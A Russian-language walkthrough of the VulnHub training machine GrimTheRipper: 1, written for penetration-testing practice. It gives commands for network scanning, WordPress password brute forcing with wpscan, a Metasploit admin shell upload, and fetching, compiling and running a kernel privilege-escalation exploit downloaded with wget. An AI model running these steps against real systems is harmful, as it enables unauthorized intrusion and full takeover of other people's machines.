Прохождение машины GrimTheRipper: 1 VulnHub.
Здравствуйте, дорогие друзья.
Машина доступна на VulnHub, для тестирования на проникновение. Эта лаборатория не так уж сложна, если у Вас есть необходимые базовые знания о взломе машин.
Уровень безопасности: Средний
Ссылка на скачивание машины: https://www.vulnhub.com/entry/grimtheripper-1,350/
Заслуга в создании этой лаборатории принадлежит Манишу Чандре. Давайте начнем и узнаем, как успешно взломать ее.
Сетевое сканирование
Я буду запускать эту машину в Virtual Box. После запуска лаборатории я использовал команду netdiscover для проверки IP-адреса виртуальной машины.
sudo netdiscover

Оказалось, что это IP — 10.0.2.11. Теперь я запускаю агрессивное сканирование с помощью nmap.
sudo nmap -A 10.0.2.11

По его результатам я обнаружил, что порты 22 (SSH), 80 (HTTP) открыты.
Enumeration/Перечисление
Для более подробной информации мне нужно будет начать перечисление с хост-машины. Поэтому я перейду к веб-браузеру, для изучения службы HTTP.
Я получаю изображение Кевина Харта, как показано на изображении ниже.

Это тупиковый путь, и я попытался дополнительно перебрать целевую машину через брутфорс директорий. Для этого воспользуюсь инструментом dirb. Это дало мне страницу с именем «index2».
sudo dirb http://10.0.2.11/

Открыв его в браузере, я получил сообщение, что в переводе означает: «Ты потерял тупое дерьмо??» вместе с мемом.

Но я почувствовал что-то подозрительное с этим изображением. Итак, я просмотрел Page Source изображения. Это дало мне подсказку, которая была прокомментирована, как показано на данном изображении ниже.

На первый взгляд мне показалось, что это кодировка Base64, и я попытался расшифровать запись, как показано на изображении ниже. При первом декодировании я получаю еще одно закодированное в Base64 сообщение «Старайся больше». Поэтому я снова расшифровал его, чтобы получить двоичный код.
1 2 |
echo 'THpFd0f1UQXhNREU9IHRyeSBoYXJk' | base64 -d echo 'LzEwMTAxMDE=' | base64 -d |

Я пытался расшифровать этот двоичный код, но это было бесполезно. Далее, я попытался использовать запись как возможный каталог. Открыв его, я получил каталог wordpress, как показано на изображении ниже.

Итак, я открыл каталог wordpress, и он выглядит, как обычный сайт wordpress. При ближайшем рассмотрении я получил, что admin — это имя пользователя данного сайта wordpress.

Эксплуатация
Чтобы двигаться дальше, я воспользовался помощью инструмента wpscan для брутфорса в админку. Для этого я создал текстовый файл с именем «usr», добавил в него «admin» и предоставил файл rockyou.txt для извлечения пароля, как показано на изображении.
1 |
sudo wpscan --url http://10.0.2.11/1010101/wordpress/ -U usr -P /usr/share/wordlists/rockyou.txt |

По итогу брутфорса, я получил учетные данные для входа:
Имя пользователя: admin
Пароль: Password@123
Примечание. Извлеченный пароль начинается с «P», а файл rockyou.txt расположен в алфавитном порядке, поэтому его взлом занимает много времени.
Теперь, когда у меня есть учетные данные для входа, давайте загрузим оболочку через wp_admin_shell_upload в Metasploit. Сначала я, с помощью команды use, выберу эксплойт в Metasploit Framework.
После этого я выбираю IP-адрес удаленного хоста, а затем имя пользователя и пароль, которые я извлек ранее, и после этого я будем использовать команду «exploit», для запуска.
1 2 3 4 5 6 |
use exploit/unix/webapp/wp_admin_shell_upload set rhosts 10.0.2.11 set username admin set password Password@123 set targeturi /1010101/wordpress/ exploit |


Теперь, когда у меня есть шелл meterpreter, я могу получить оболочку bash в целевой системе. Далее, я преобразовываю текущую оболочку «shell», в правильную оболочку, с помощью однострочного кода Python. Получив нужную оболочку, я запустил команду lsb_release, чтобы получить информацию о версии Linux на целевой машине. Оказалось, что это 12.04, как показано на изображении.
1 2 3 |
shell python -c 'import pty;pty.spawn("/bin/bash")' lsb_release -a |

Повышение привилегий
Теперь, когда у меня есть версия Ubuntu, я решил повысить привилегии с помощью эксплойта ядра. Для этого я использовал searchsploit. Я выбрал эксплойт и загрузил его с помощью параметра -m команды searchsploit. После загрузки эксплойта я запустил скрипт Python, для размещения текущего каталога на порту 8000, как показано на данном изображении. Я сделал это, чтобы перенести эксплойт на целевую систему.
1 2 3 |
sudo searchsploit Ubuntu 12.04 sudo searchsploit -m 37292 sudo python -m http.server 8000 |


Теперь, когда я разместил эксплойт на HTTP-сервере, давайте загрузим его в целевую систему, с помощью команды wget. После загрузки я скомпилировал эксплойт, с помощью gcc, чтобы получить исполняемый файл, который я назвал shell. После этого, я предоставлю соответствующие привилегии файлу оболочки и выполню его, чтобы получить корневую оболочку, как показано на данном изображении.
1 2 3 4 5 6 |
cd /tmp wget http://10.0.2.15:8000/37292.c gcc 37292.c -o shell chmod 777 shell ./shell id |

На этом все. Всем хорошего дня!